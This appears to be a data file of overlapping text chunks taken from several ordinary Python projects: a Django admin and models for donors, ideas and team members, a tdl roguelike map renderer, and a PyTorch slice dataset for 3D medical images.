"Donor, Letter, Need, PurchaseForInstitute, PurchaseForNeed, \\ Activity, OngoingUserInfo @admin.register(User) class",
"Child, Volunteer, Donor, Letter, Need, PurchaseForInstitute, PurchaseForNeed, \\ Activity, OngoingUserInfo",
"( (None, {'fields': ('email', 'password')}), (_('Permissions'), {'fields': ('is_active', 'is_staff', 'is_superuser')}),",
"'password')}), (_('Permissions'), {'fields': ('is_active', 'is_staff', 'is_superuser')}), (_('Important dates'), {'fields': ('last_login',"
] |
[
"self._render_level(self.main_console, level) tdl.flush() def clear(self, level): for o in level._all_objects:",
"in level._all_objects: if o.faction == '1': # TODO: Better faction",
"self._level_console.draw_rect(x, y, 1, 1, None, bg=[120, 0, 50]) else: self._level_console.draw_rect(x,",
"if level[x][y].blocks is not False: self._level_console.draw_rect(x, y, 1, 1, None,",
"1 for o in level._all_objects: if o.faction == '1': #",
"Better faction implementation! color = [255, 0, 0] else: color",
"event[c.OBJ_Y], o.faction, fg=color) elif event[c.EVENT_TYPE] == c.OBJECT_DESTRUCTION_EVENT: self._level_console.draw_char(event[c.OBJ_X], event[c.OBJ_Y], '",
"location self._level_console.draw_char(event[c.MOVEMENT_PREV_X], event[c.MOVEMENT_PREV_Y], ' ', bg=[0, 15, 7]) # Retrieve",
"', bg=[0, 15, 7]) # Retrieve faction and color o",
"render_event(self, level, event): if event[c.EVENT_TYPE] == c.MOVEMENT_EVENT: # Clear previous",
"[0, 0, 255] self._level_console.draw_char(o.x, o.y, i, color) i += 1",
"level.get_object_by_id(event[c.OBJ_ID]) if o.faction == '1': # TODO: Better faction implementation!",
"level, event): if event[c.EVENT_TYPE] == c.MOVEMENT_EVENT: # Clear previous location",
"tdl import time import hunting.constants as c class Renderer: def",
"def __init__(self, main_console=None, level_display_width=c.SCREEN_WIDTH, level_display_height=c.SCREEN_HEIGHT): if main_console is None: self.main_console",
"bg=[0, 15, 7]) # Render self.main_console.blit(self._level_console) tdl.flush() def visualize(level, show_time=1):",
"x in range(level.width): for y in range(level.height): if level[x][y].blocks is",
"color o = level.get_object_by_id(event[c.OBJ_ID]) if o.faction == '1': # TODO:",
"= [255, 0, 0] else: color = [0, 0, 255]",
"in range(level.width): for y in range(level.height): if level[x][y].blocks is not",
"') def render_event(self, level, event): if event[c.EVENT_TYPE] == c.MOVEMENT_EVENT: #",
"event[c.MOVEMENT_PREV_Y], ' ', bg=[0, 15, 7]) # Retrieve faction and",
"'1': # TODO: Better faction implementation! color = [255, 0,",
"255] self._level_console.draw_char(o.x, o.y, i, color) i += 1 con.blit(self._level_console) def",
"o in level._all_objects: self._level_console.draw_char(o.x, o.y, ' ') def render_event(self, level,",
"level_display_height self._level_console = tdl.Console(level_display_width, level_display_height) def _render_level(self, con, level): for",
"15, 7]) # Retrieve faction and color o = level.get_object_by_id(event[c.OBJ_ID])",
"render_all(self, level): self._render_level(self.main_console, level) tdl.flush() def clear(self, level): for o",
"self.main_console = tdl.init(level_display_width, level_display_height, 'From Renderer Default Constructor') else: self.main_console",
"def render_all(self, level): self._render_level(self.main_console, level) tdl.flush() def clear(self, level): for",
"color) i += 1 con.blit(self._level_console) def render_all(self, level): self._render_level(self.main_console, level)",
"o.y, i, color) i += 1 con.blit(self._level_console) def render_all(self, level):",
"[0, 0, 255] self._level_console.draw_char(event[c.OBJ_X], event[c.OBJ_Y], o.faction, fg=color) elif event[c.EVENT_TYPE] ==",
"TODO: This is pretty hacky! i = 1 for o",
"level): for o in level._all_objects: self._level_console.draw_char(o.x, o.y, ' ') def",
"import time import hunting.constants as c class Renderer: def __init__(self,",
"y, 1, 1, None, bg=[120, 0, 50]) else: self._level_console.draw_rect(x, y,",
"def render_event(self, level, event): if event[c.EVENT_TYPE] == c.MOVEMENT_EVENT: # Clear",
"self._level_console.draw_char(event[c.OBJ_X], event[c.OBJ_Y], o.faction, fg=color) elif event[c.EVENT_TYPE] == c.OBJECT_DESTRUCTION_EVENT: self._level_console.draw_char(event[c.OBJ_X], event[c.OBJ_Y],",
"50]) else: self._level_console.draw_rect(x, y, 1, 1, None, bg=[30, 255, 30])",
"o.faction == '1': # TODO: Better faction implementation! color =",
"level) tdl.flush() def clear(self, level): for o in level._all_objects: self._level_console.draw_char(o.x,",
"0] else: color = [0, 0, 255] self._level_console.draw_char(o.x, o.y, i,",
"' ', bg=[0, 15, 7]) # Render self.main_console.blit(self._level_console) tdl.flush() def",
"level_display_height, 'From Renderer Default Constructor') else: self.main_console = main_console self.level_display_width",
"= [0, 0, 255] self._level_console.draw_char(o.x, o.y, i, color) i +=",
"event): if event[c.EVENT_TYPE] == c.MOVEMENT_EVENT: # Clear previous location self._level_console.draw_char(event[c.MOVEMENT_PREV_X],",
"i, color) i += 1 con.blit(self._level_console) def render_all(self, level): self._render_level(self.main_console,",
"c.OBJECT_DESTRUCTION_EVENT: self._level_console.draw_char(event[c.OBJ_X], event[c.OBJ_Y], ' ', bg=[0, 15, 7]) # Render",
"__init__(self, main_console=None, level_display_width=c.SCREEN_WIDTH, level_display_height=c.SCREEN_HEIGHT): if main_console is None: self.main_console =",
"previous location self._level_console.draw_char(event[c.MOVEMENT_PREV_X], event[c.MOVEMENT_PREV_Y], ' ', bg=[0, 15, 7]) #",
"y, 1, 1, None, bg=[30, 255, 30]) # TODO: This",
"pretty hacky! i = 1 for o in level._all_objects: if",
"Constructor') else: self.main_console = main_console self.level_display_width = level_display_width self.level_display_height =",
"', bg=[0, 15, 7]) # Render self.main_console.blit(self._level_console) tdl.flush() def visualize(level,",
"else: self.main_console = main_console self.level_display_width = level_display_width self.level_display_height = level_display_height",
"= main_console self.level_display_width = level_display_width self.level_display_height = level_display_height self._level_console =",
"TODO: Better faction implementation! color = [255, 0, 0] else:",
"# Retrieve faction and color o = level.get_object_by_id(event[c.OBJ_ID]) if o.faction",
"clear(self, level): for o in level._all_objects: self._level_console.draw_char(o.x, o.y, ' ')",
"255, 30]) # TODO: This is pretty hacky! i =",
"[255, 0, 0] else: color = [0, 0, 255] self._level_console.draw_char(o.x,",
"1, None, bg=[30, 255, 30]) # TODO: This is pretty",
"else: self._level_console.draw_rect(x, y, 1, 1, None, bg=[30, 255, 30]) #",
"None: self.main_console = tdl.init(level_display_width, level_display_height, 'From Renderer Default Constructor') else:",
"30]) # TODO: This is pretty hacky! i = 1",
"== c.OBJECT_DESTRUCTION_EVENT: self._level_console.draw_char(event[c.OBJ_X], event[c.OBJ_Y], ' ', bg=[0, 15, 7]) #",
"7]) # Retrieve faction and color o = level.get_object_by_id(event[c.OBJ_ID]) if",
"== '1': # TODO: Better faction implementation! color = [255,",
"con, level): for x in range(level.width): for y in range(level.height):",
"# TODO: This is pretty hacky! i = 1 for",
"' ', bg=[0, 15, 7]) # Retrieve faction and color",
"[255, 0, 0] else: color = [0, 0, 255] self._level_console.draw_char(event[c.OBJ_X],",
"class Renderer: def __init__(self, main_console=None, level_display_width=c.SCREEN_WIDTH, level_display_height=c.SCREEN_HEIGHT): if main_console is",
"self._level_console.draw_char(event[c.OBJ_X], event[c.OBJ_Y], ' ', bg=[0, 15, 7]) # Render self.main_console.blit(self._level_console)",
"con.blit(self._level_console) def render_all(self, level): self._render_level(self.main_console, level) tdl.flush() def clear(self, level):",
"level_display_width=c.SCREEN_WIDTH, level_display_height=c.SCREEN_HEIGHT): if main_console is None: self.main_console = tdl.init(level_display_width, level_display_height,",
"is not False: self._level_console.draw_rect(x, y, 1, 1, None, bg=[120, 0,",
"in range(level.height): if level[x][y].blocks is not False: self._level_console.draw_rect(x, y, 1,",
"1, 1, None, bg=[30, 255, 30]) # TODO: This is",
"implementation! color = [255, 0, 0] else: color = [0,",
"if event[c.EVENT_TYPE] == c.MOVEMENT_EVENT: # Clear previous location self._level_console.draw_char(event[c.MOVEMENT_PREV_X], event[c.MOVEMENT_PREV_Y],",
"Renderer: def __init__(self, main_console=None, level_display_width=c.SCREEN_WIDTH, level_display_height=c.SCREEN_HEIGHT): if main_console is None:",
"+= 1 con.blit(self._level_console) def render_all(self, level): self._render_level(self.main_console, level) tdl.flush() def",
"' ') def render_event(self, level, event): if event[c.EVENT_TYPE] == c.MOVEMENT_EVENT:",
"i += 1 con.blit(self._level_console) def render_all(self, level): self._render_level(self.main_console, level) tdl.flush()",
"== c.MOVEMENT_EVENT: # Clear previous location self._level_console.draw_char(event[c.MOVEMENT_PREV_X], event[c.MOVEMENT_PREV_Y], ' ',",
"= tdl.init(level_display_width, level_display_height, 'From Renderer Default Constructor') else: self.main_console =",
"self._level_console.draw_char(o.x, o.y, ' ') def render_event(self, level, event): if event[c.EVENT_TYPE]",
"Retrieve faction and color o = level.get_object_by_id(event[c.OBJ_ID]) if o.faction ==",
"# Clear previous location self._level_console.draw_char(event[c.MOVEMENT_PREV_X], event[c.MOVEMENT_PREV_Y], ' ', bg=[0, 15,",
"for y in range(level.height): if level[x][y].blocks is not False: self._level_console.draw_rect(x,",
"hacky! i = 1 for o in level._all_objects: if o.faction",
"for x in range(level.width): for y in range(level.height): if level[x][y].blocks",
"range(level.height): if level[x][y].blocks is not False: self._level_console.draw_rect(x, y, 1, 1,",
"import hunting.constants as c class Renderer: def __init__(self, main_console=None, level_display_width=c.SCREEN_WIDTH,",
"level_display_height=c.SCREEN_HEIGHT): if main_console is None: self.main_console = tdl.init(level_display_width, level_display_height, 'From",
"import tdl import time import hunting.constants as c class Renderer:",
"level): self._render_level(self.main_console, level) tdl.flush() def clear(self, level): for o in",
"bg=[120, 0, 50]) else: self._level_console.draw_rect(x, y, 1, 1, None, bg=[30,",
"if o.faction == '1': # TODO: Better faction implementation! color",
"faction implementation! color = [255, 0, 0] else: color =",
"self._level_console.draw_char(event[c.MOVEMENT_PREV_X], event[c.MOVEMENT_PREV_Y], ' ', bg=[0, 15, 7]) # Retrieve faction",
"self._level_console = tdl.Console(level_display_width, level_display_height) def _render_level(self, con, level): for x",
"time import hunting.constants as c class Renderer: def __init__(self, main_console=None,",
"'From Renderer Default Constructor') else: self.main_console = main_console self.level_display_width =",
"1 con.blit(self._level_console) def render_all(self, level): self._render_level(self.main_console, level) tdl.flush() def clear(self,",
"Clear previous location self._level_console.draw_char(event[c.MOVEMENT_PREV_X], event[c.MOVEMENT_PREV_Y], ' ', bg=[0, 15, 7])",
"7]) # Render self.main_console.blit(self._level_console) tdl.flush() def visualize(level, show_time=1): Renderer().render_all(level) time.sleep(show_time)",
"self.level_display_width = level_display_width self.level_display_height = level_display_height self._level_console = tdl.Console(level_display_width, level_display_height)",
"faction and color o = level.get_object_by_id(event[c.OBJ_ID]) if o.faction == '1':",
"range(level.width): for y in range(level.height): if level[x][y].blocks is not False:",
"for o in level._all_objects: self._level_console.draw_char(o.x, o.y, ' ') def render_event(self,",
"level[x][y].blocks is not False: self._level_console.draw_rect(x, y, 1, 1, None, bg=[120,",
"bg=[30, 255, 30]) # TODO: This is pretty hacky! i",
"Default Constructor') else: self.main_console = main_console self.level_display_width = level_display_width self.level_display_height",
"level_display_width self.level_display_height = level_display_height self._level_console = tdl.Console(level_display_width, level_display_height) def _render_level(self,",
"y in range(level.height): if level[x][y].blocks is not False: self._level_console.draw_rect(x, y,",
"tdl.Console(level_display_width, level_display_height) def _render_level(self, con, level): for x in range(level.width):",
"= [0, 0, 255] self._level_console.draw_char(event[c.OBJ_X], event[c.OBJ_Y], o.faction, fg=color) elif event[c.EVENT_TYPE]",
"o in level._all_objects: if o.faction == '1': # TODO: Better",
"level._all_objects: self._level_console.draw_char(o.x, o.y, ' ') def render_event(self, level, event): if",
"elif event[c.EVENT_TYPE] == c.OBJECT_DESTRUCTION_EVENT: self._level_console.draw_char(event[c.OBJ_X], event[c.OBJ_Y], ' ', bg=[0, 15,",
"color = [0, 0, 255] self._level_console.draw_char(event[c.OBJ_X], event[c.OBJ_Y], o.faction, fg=color) elif",
"for o in level._all_objects: if o.faction == '1': # TODO:",
"= tdl.Console(level_display_width, level_display_height) def _render_level(self, con, level): for x in",
"None, bg=[30, 255, 30]) # TODO: This is pretty hacky!",
"event[c.OBJ_Y], ' ', bg=[0, 15, 7]) # Render self.main_console.blit(self._level_console) tdl.flush()",
"level_display_height) def _render_level(self, con, level): for x in range(level.width): for",
"c class Renderer: def __init__(self, main_console=None, level_display_width=c.SCREEN_WIDTH, level_display_height=c.SCREEN_HEIGHT): if main_console",
"def clear(self, level): for o in level._all_objects: self._level_console.draw_char(o.x, o.y, '",
"bg=[0, 15, 7]) # Retrieve faction and color o =",
"self.main_console = main_console self.level_display_width = level_display_width self.level_display_height = level_display_height self._level_console",
"0, 0] else: color = [0, 0, 255] self._level_console.draw_char(o.x, o.y,",
"# TODO: Better faction implementation! color = [255, 0, 0]",
"and color o = level.get_object_by_id(event[c.OBJ_ID]) if o.faction == '1': #",
"tdl.flush() def clear(self, level): for o in level._all_objects: self._level_console.draw_char(o.x, o.y,",
"level._all_objects: if o.faction == '1': # TODO: Better faction implementation!",
"if main_console is None: self.main_console = tdl.init(level_display_width, level_display_height, 'From Renderer",
"main_console=None, level_display_width=c.SCREEN_WIDTH, level_display_height=c.SCREEN_HEIGHT): if main_console is None: self.main_console = tdl.init(level_display_width,",
"= level_display_height self._level_console = tdl.Console(level_display_width, level_display_height) def _render_level(self, con, level):",
"is None: self.main_console = tdl.init(level_display_width, level_display_height, 'From Renderer Default Constructor')",
"0] else: color = [0, 0, 255] self._level_console.draw_char(event[c.OBJ_X], event[c.OBJ_Y], o.faction,",
"level): for x in range(level.width): for y in range(level.height): if",
"event[c.EVENT_TYPE] == c.OBJECT_DESTRUCTION_EVENT: self._level_console.draw_char(event[c.OBJ_X], event[c.OBJ_Y], ' ', bg=[0, 15, 7])",
"is pretty hacky! i = 1 for o in level._all_objects:",
"else: color = [0, 0, 255] self._level_console.draw_char(event[c.OBJ_X], event[c.OBJ_Y], o.faction, fg=color)",
"not False: self._level_console.draw_rect(x, y, 1, 1, None, bg=[120, 0, 50])",
"False: self._level_console.draw_rect(x, y, 1, 1, None, bg=[120, 0, 50]) else:",
"c.MOVEMENT_EVENT: # Clear previous location self._level_console.draw_char(event[c.MOVEMENT_PREV_X], event[c.MOVEMENT_PREV_Y], ' ', bg=[0,",
"color = [255, 0, 0] else: color = [0, 0,",
"o.faction, fg=color) elif event[c.EVENT_TYPE] == c.OBJECT_DESTRUCTION_EVENT: self._level_console.draw_char(event[c.OBJ_X], event[c.OBJ_Y], ' ',",
"else: color = [0, 0, 255] self._level_console.draw_char(o.x, o.y, i, color)",
"def _render_level(self, con, level): for x in range(level.width): for y",
"_render_level(self, con, level): for x in range(level.width): for y in",
"15, 7]) # Render self.main_console.blit(self._level_console) tdl.flush() def visualize(level, show_time=1): Renderer().render_all(level)",
"self._level_console.draw_char(o.x, o.y, i, color) i += 1 con.blit(self._level_console) def render_all(self,",
"0, 0] else: color = [0, 0, 255] self._level_console.draw_char(event[c.OBJ_X], event[c.OBJ_Y],",
"1, None, bg=[120, 0, 50]) else: self._level_console.draw_rect(x, y, 1, 1,",
"hunting.constants as c class Renderer: def __init__(self, main_console=None, level_display_width=c.SCREEN_WIDTH, level_display_height=c.SCREEN_HEIGHT):",
"main_console self.level_display_width = level_display_width self.level_display_height = level_display_height self._level_console = tdl.Console(level_display_width,",
"= level_display_width self.level_display_height = level_display_height self._level_console = tdl.Console(level_display_width, level_display_height) def",
"0, 255] self._level_console.draw_char(o.x, o.y, i, color) i += 1 con.blit(self._level_console)",
"main_console is None: self.main_console = tdl.init(level_display_width, level_display_height, 'From Renderer Default",
"This is pretty hacky! i = 1 for o in",
"in level._all_objects: self._level_console.draw_char(o.x, o.y, ' ') def render_event(self, level, event):",
"event[c.EVENT_TYPE] == c.MOVEMENT_EVENT: # Clear previous location self._level_console.draw_char(event[c.MOVEMENT_PREV_X], event[c.MOVEMENT_PREV_Y], '",
"None, bg=[120, 0, 50]) else: self._level_console.draw_rect(x, y, 1, 1, None,",
"= level.get_object_by_id(event[c.OBJ_ID]) if o.faction == '1': # TODO: Better faction",
"0, 255] self._level_console.draw_char(event[c.OBJ_X], event[c.OBJ_Y], o.faction, fg=color) elif event[c.EVENT_TYPE] == c.OBJECT_DESTRUCTION_EVENT:",
"self.level_display_height = level_display_height self._level_console = tdl.Console(level_display_width, level_display_height) def _render_level(self, con,",
"i = 1 for o in level._all_objects: if o.faction ==",
"as c class Renderer: def __init__(self, main_console=None, level_display_width=c.SCREEN_WIDTH, level_display_height=c.SCREEN_HEIGHT): if",
"Renderer Default Constructor') else: self.main_console = main_console self.level_display_width = level_display_width",
"1, 1, None, bg=[120, 0, 50]) else: self._level_console.draw_rect(x, y, 1,",
"0, 50]) else: self._level_console.draw_rect(x, y, 1, 1, None, bg=[30, 255,",
"= 1 for o in level._all_objects: if o.faction == '1':",
"255] self._level_console.draw_char(event[c.OBJ_X], event[c.OBJ_Y], o.faction, fg=color) elif event[c.EVENT_TYPE] == c.OBJECT_DESTRUCTION_EVENT: self._level_console.draw_char(event[c.OBJ_X],",
"o.y, ' ') def render_event(self, level, event): if event[c.EVENT_TYPE] ==",
"o = level.get_object_by_id(event[c.OBJ_ID]) if o.faction == '1': # TODO: Better",
"tdl.init(level_display_width, level_display_height, 'From Renderer Default Constructor') else: self.main_console = main_console",
"fg=color) elif event[c.EVENT_TYPE] == c.OBJECT_DESTRUCTION_EVENT: self._level_console.draw_char(event[c.OBJ_X], event[c.OBJ_Y], ' ', bg=[0,",
"self._level_console.draw_rect(x, y, 1, 1, None, bg=[30, 255, 30]) # TODO:",
"color = [0, 0, 255] self._level_console.draw_char(o.x, o.y, i, color) i"
] |
[
"on_delete=models.CASCADE) class Meta(): ordering = ['idea'] unique_together = ('idea', 'member')",
"= models.OneToOneField('events.Registrant', related_name='author_idea', on_delete=models.CASCADE, blank=True, null=True) written_by = models.ForeignKey('users.User', related_name='written_idea',",
"models.ForeignKey('users.User', related_name='written_idea', on_delete=models.CASCADE, blank=True, null=True) event = models.ForeignKey('events.Event', related_name='event_idea', on_delete=models.CASCADE,",
"class Idea(models.Model): title = models.CharField(max_length=255, unique=True) description = models.TextField() author",
"= ['idea'] unique_together = ('idea', 'member') verbose_name = 'Team Member'",
"on_delete=models.CASCADE) member = models.OneToOneField('events.Registrant', related_name='member_idea', on_delete=models.CASCADE) class Meta(): ordering =",
"on_delete=models.CASCADE, blank=True, null=True) written_by = models.ForeignKey('users.User', related_name='written_idea', on_delete=models.CASCADE, blank=True, null=True)",
"models.DateTimeField(auto_now_add=True) modified_at = models.DateTimeField(auto_now=True) is_active = models.BooleanField(default=True) class Meta(): ordering",
"description = models.TextField() author = models.OneToOneField('events.Registrant', related_name='author_idea', on_delete=models.CASCADE, blank=True, null=True)",
"models.BooleanField(default=True) class Meta(): ordering = ['-created_at', '-id'] def __str__(self): return",
"title = models.CharField(max_length=255, unique=True) description = models.TextField() author = models.OneToOneField('events.Registrant',",
"<gh_stars>1-10 from django.db import models class Idea(models.Model): title = models.CharField(max_length=255,",
"related_name='written_idea', on_delete=models.CASCADE, blank=True, null=True) event = models.ForeignKey('events.Event', related_name='event_idea', on_delete=models.CASCADE, blank=True,",
"models.OneToOneField('events.Registrant', related_name='member_idea', on_delete=models.CASCADE) class Meta(): ordering = ['idea'] unique_together =",
"models class Idea(models.Model): title = models.CharField(max_length=255, unique=True) description = models.TextField()",
"Meta(): ordering = ['idea'] unique_together = ('idea', 'member') verbose_name =",
"models.PositiveIntegerField(default=7) created_at = models.DateTimeField(auto_now_add=True) modified_at = models.DateTimeField(auto_now=True) is_active = models.BooleanField(default=True)",
"ordering = ['-created_at', '-id'] def __str__(self): return self.title class IdeaTeamMember(models.Model):",
"models.TextField() author = models.OneToOneField('events.Registrant', related_name='author_idea', on_delete=models.CASCADE, blank=True, null=True) written_by =",
"related_name='idea_team_member', on_delete=models.CASCADE) member = models.OneToOneField('events.Registrant', related_name='member_idea', on_delete=models.CASCADE) class Meta(): ordering",
"import models class Idea(models.Model): title = models.CharField(max_length=255, unique=True) description =",
"= ('idea', 'member') verbose_name = 'Team Member' verbose_name_plural = 'Groups'",
"is_valid = models.BooleanField(default=False) max_number_of_participants = models.PositiveIntegerField(default=7) created_at = models.DateTimeField(auto_now_add=True) modified_at",
"= models.ForeignKey('users.User', related_name='written_idea', on_delete=models.CASCADE, blank=True, null=True) event = models.ForeignKey('events.Event', related_name='event_idea',",
"= models.DateTimeField(auto_now_add=True) modified_at = models.DateTimeField(auto_now=True) is_active = models.BooleanField(default=True) class Meta():",
"models.CharField(max_length=255, unique=True) description = models.TextField() author = models.OneToOneField('events.Registrant', related_name='author_idea', on_delete=models.CASCADE,",
"modified_at = models.DateTimeField(auto_now=True) is_active = models.BooleanField(default=True) class Meta(): ordering =",
"django.db import models class Idea(models.Model): title = models.CharField(max_length=255, unique=True) description",
"= models.ForeignKey(Idea, related_name='idea_team_member', on_delete=models.CASCADE) member = models.OneToOneField('events.Registrant', related_name='member_idea', on_delete=models.CASCADE) class",
"= models.TextField() author = models.OneToOneField('events.Registrant', related_name='author_idea', on_delete=models.CASCADE, blank=True, null=True) written_by",
"= models.DateTimeField(auto_now=True) is_active = models.BooleanField(default=True) class Meta(): ordering = ['-created_at',",
"Idea(models.Model): title = models.CharField(max_length=255, unique=True) description = models.TextField() author =",
"on_delete=models.CASCADE, blank=True, null=True) event = models.ForeignKey('events.Event', related_name='event_idea', on_delete=models.CASCADE, blank=True, null=True)",
"Meta(): ordering = ['-created_at', '-id'] def __str__(self): return self.title class",
"self.title class IdeaTeamMember(models.Model): idea = models.ForeignKey(Idea, related_name='idea_team_member', on_delete=models.CASCADE) member =",
"= ['-created_at', '-id'] def __str__(self): return self.title class IdeaTeamMember(models.Model): idea",
"on_delete=models.CASCADE, blank=True, null=True) is_valid = models.BooleanField(default=False) max_number_of_participants = models.PositiveIntegerField(default=7) created_at",
"is_active = models.BooleanField(default=True) class Meta(): ordering = ['-created_at', '-id'] def",
"null=True) is_valid = models.BooleanField(default=False) max_number_of_participants = models.PositiveIntegerField(default=7) created_at = models.DateTimeField(auto_now_add=True)",
"event = models.ForeignKey('events.Event', related_name='event_idea', on_delete=models.CASCADE, blank=True, null=True) is_valid = models.BooleanField(default=False)",
"blank=True, null=True) written_by = models.ForeignKey('users.User', related_name='written_idea', on_delete=models.CASCADE, blank=True, null=True) event",
"models.BooleanField(default=False) max_number_of_participants = models.PositiveIntegerField(default=7) created_at = models.DateTimeField(auto_now_add=True) modified_at = models.DateTimeField(auto_now=True)",
"= models.OneToOneField('events.Registrant', related_name='member_idea', on_delete=models.CASCADE) class Meta(): ordering = ['idea'] unique_together",
"models.ForeignKey('events.Event', related_name='event_idea', on_delete=models.CASCADE, blank=True, null=True) is_valid = models.BooleanField(default=False) max_number_of_participants =",
"null=True) event = models.ForeignKey('events.Event', related_name='event_idea', on_delete=models.CASCADE, blank=True, null=True) is_valid =",
"= models.ForeignKey('events.Event', related_name='event_idea', on_delete=models.CASCADE, blank=True, null=True) is_valid = models.BooleanField(default=False) max_number_of_participants",
"['-created_at', '-id'] def __str__(self): return self.title class IdeaTeamMember(models.Model): idea =",
"related_name='author_idea', on_delete=models.CASCADE, blank=True, null=True) written_by = models.ForeignKey('users.User', related_name='written_idea', on_delete=models.CASCADE, blank=True,",
"['idea'] unique_together = ('idea', 'member') verbose_name = 'Team Member' verbose_name_plural",
"related_name='member_idea', on_delete=models.CASCADE) class Meta(): ordering = ['idea'] unique_together = ('idea',",
"related_name='event_idea', on_delete=models.CASCADE, blank=True, null=True) is_valid = models.BooleanField(default=False) max_number_of_participants = models.PositiveIntegerField(default=7)",
"unique=True) description = models.TextField() author = models.OneToOneField('events.Registrant', related_name='author_idea', on_delete=models.CASCADE, blank=True,",
"models.ForeignKey(Idea, related_name='idea_team_member', on_delete=models.CASCADE) member = models.OneToOneField('events.Registrant', related_name='member_idea', on_delete=models.CASCADE) class Meta():",
"= models.PositiveIntegerField(default=7) created_at = models.DateTimeField(auto_now_add=True) modified_at = models.DateTimeField(auto_now=True) is_active =",
"created_at = models.DateTimeField(auto_now_add=True) modified_at = models.DateTimeField(auto_now=True) is_active = models.BooleanField(default=True) class",
"written_by = models.ForeignKey('users.User', related_name='written_idea', on_delete=models.CASCADE, blank=True, null=True) event = models.ForeignKey('events.Event',",
"author = models.OneToOneField('events.Registrant', related_name='author_idea', on_delete=models.CASCADE, blank=True, null=True) written_by = models.ForeignKey('users.User',",
"= models.BooleanField(default=False) max_number_of_participants = models.PositiveIntegerField(default=7) created_at = models.DateTimeField(auto_now_add=True) modified_at =",
"member = models.OneToOneField('events.Registrant', related_name='member_idea', on_delete=models.CASCADE) class Meta(): ordering = ['idea']",
"models.OneToOneField('events.Registrant', related_name='author_idea', on_delete=models.CASCADE, blank=True, null=True) written_by = models.ForeignKey('users.User', related_name='written_idea', on_delete=models.CASCADE,",
"max_number_of_participants = models.PositiveIntegerField(default=7) created_at = models.DateTimeField(auto_now_add=True) modified_at = models.DateTimeField(auto_now=True) is_active",
"idea = models.ForeignKey(Idea, related_name='idea_team_member', on_delete=models.CASCADE) member = models.OneToOneField('events.Registrant', related_name='member_idea', on_delete=models.CASCADE)",
"return self.title class IdeaTeamMember(models.Model): idea = models.ForeignKey(Idea, related_name='idea_team_member', on_delete=models.CASCADE) member",
"= models.CharField(max_length=255, unique=True) description = models.TextField() author = models.OneToOneField('events.Registrant', related_name='author_idea',",
"class Meta(): ordering = ['-created_at', '-id'] def __str__(self): return self.title",
"null=True) written_by = models.ForeignKey('users.User', related_name='written_idea', on_delete=models.CASCADE, blank=True, null=True) event =",
"models.DateTimeField(auto_now=True) is_active = models.BooleanField(default=True) class Meta(): ordering = ['-created_at', '-id']",
"__str__(self): return self.title class IdeaTeamMember(models.Model): idea = models.ForeignKey(Idea, related_name='idea_team_member', on_delete=models.CASCADE)",
"from django.db import models class Idea(models.Model): title = models.CharField(max_length=255, unique=True)",
"def __str__(self): return self.title class IdeaTeamMember(models.Model): idea = models.ForeignKey(Idea, related_name='idea_team_member',",
"IdeaTeamMember(models.Model): idea = models.ForeignKey(Idea, related_name='idea_team_member', on_delete=models.CASCADE) member = models.OneToOneField('events.Registrant', related_name='member_idea',",
"class Meta(): ordering = ['idea'] unique_together = ('idea', 'member') verbose_name",
"blank=True, null=True) is_valid = models.BooleanField(default=False) max_number_of_participants = models.PositiveIntegerField(default=7) created_at =",
"class IdeaTeamMember(models.Model): idea = models.ForeignKey(Idea, related_name='idea_team_member', on_delete=models.CASCADE) member = models.OneToOneField('events.Registrant',",
"blank=True, null=True) event = models.ForeignKey('events.Event', related_name='event_idea', on_delete=models.CASCADE, blank=True, null=True) is_valid",
"'-id'] def __str__(self): return self.title class IdeaTeamMember(models.Model): idea = models.ForeignKey(Idea,",
"ordering = ['idea'] unique_together = ('idea', 'member') verbose_name = 'Team",
"unique_together = ('idea', 'member') verbose_name = 'Team Member' verbose_name_plural =",
"= models.BooleanField(default=True) class Meta(): ordering = ['-created_at', '-id'] def __str__(self):"
] |
[
"Don't forget that you need to put a Torch Tensor",
"slices. Write code that stores the 2D slice data in",
"here if dataset is too large to fit # in",
"self.slices = [] for i, d in enumerate(data): for j",
"The values are 3D Torch Tensors with image and label",
"H] \"\"\" slc = self.slices[idx] sample = dict() sample[\"id\"] =",
"data self.slices = [] for i, d in enumerate(data): for",
"like so: arr[None, :] to add size-1 # dimension to",
"W, H] \"\"\" slc = self.slices[idx] sample = dict() sample[\"id\"]",
"torch.from_numpy(img[None,:]) seg = self.data[slc[0]][\"seg\"][slc[1]] sample['seg'] = torch.from_numpy(seg[None,:]) return sample def",
"with image and label data respectively. # First dimension is",
"= torch.from_numpy(seg[None,:]) return sample def __len__(self): \"\"\" This method is",
"indexable Torch dataset which could be consumed by the PyTorch",
"patch_size] # Don't forget that you need to put a",
"Torch dataset which could be consumed by the PyTorch DataLoader",
"sample def __len__(self): \"\"\" This method is called by PyTorch",
"self.data = data self.slices = [] for i, d in",
"could implement caching strategy here if dataset is too large",
"arr[None, :] to add size-1 # dimension to a Numpy",
"class to return number of samples in the dataset Returns:",
"= self.data[slc[0]][\"image\"][slc[1]] sample['image'] = torch.from_numpy(img[None,:]) seg = self.data[slc[0]][\"seg\"][slc[1]] sample['seg'] =",
"data in the last 2 dimensions of the 3D Tensors.",
"2 dimensions of the 3D Tensors. # Your tensor needs",
"sample with id idx Arguments: idx {int} -- id of",
"would be the place to call transforms if data augmentation",
"\"\"\" This method is called by PyTorch DataLoader class to",
"= data self.slices = [] for i, d in enumerate(data):",
"This method is called by PyTorch DataLoader class to return",
"be consumed by the PyTorch DataLoader class \"\"\" def __init__(self,",
"named \"image\" and \"seg\" # The values are 3D Torch",
"sample['image'] = torch.from_numpy(img[None,:]) seg = self.data[slc[0]][\"seg\"][slc[1]] sample['seg'] = torch.from_numpy(seg[None,:]) return",
"of 2 Torch Tensors of dimensions [1, W, H] \"\"\"",
"of dimensions [1, W, H] \"\"\" slc = self.slices[idx] sample",
"your dictionary element's value # Hint: your 3D data sits",
"Pytorch dataset representations \"\"\" import torch from torch.utils.data import Dataset",
"add size-1 # dimension to a Numpy array # <YOUR",
"is called by PyTorch DataLoader class to return a sample",
"needs to be of shape [1, patch_size, patch_size] # Don't",
"your 3D data sits in self.data variable, the id of",
"__len__(self): \"\"\" This method is called by PyTorch DataLoader class",
"Create two new keys in the \"sample\" dictionary, named \"image\"",
"large to fit # in memory entirely # Also this",
"a Torch Tensor into your dictionary element's value # Hint:",
"implement caching strategy here if dataset is too large to",
":] to add size-1 # dimension to a Numpy array",
"dictionary, named \"image\" and \"seg\" # The values are 3D",
"\"seg\" # The values are 3D Torch Tensors with image",
"hold the voxel data from the respective # slices. Write",
"class to return a sample with id idx Arguments: idx",
"TASK: Create two new keys in the \"sample\" dictionary, named",
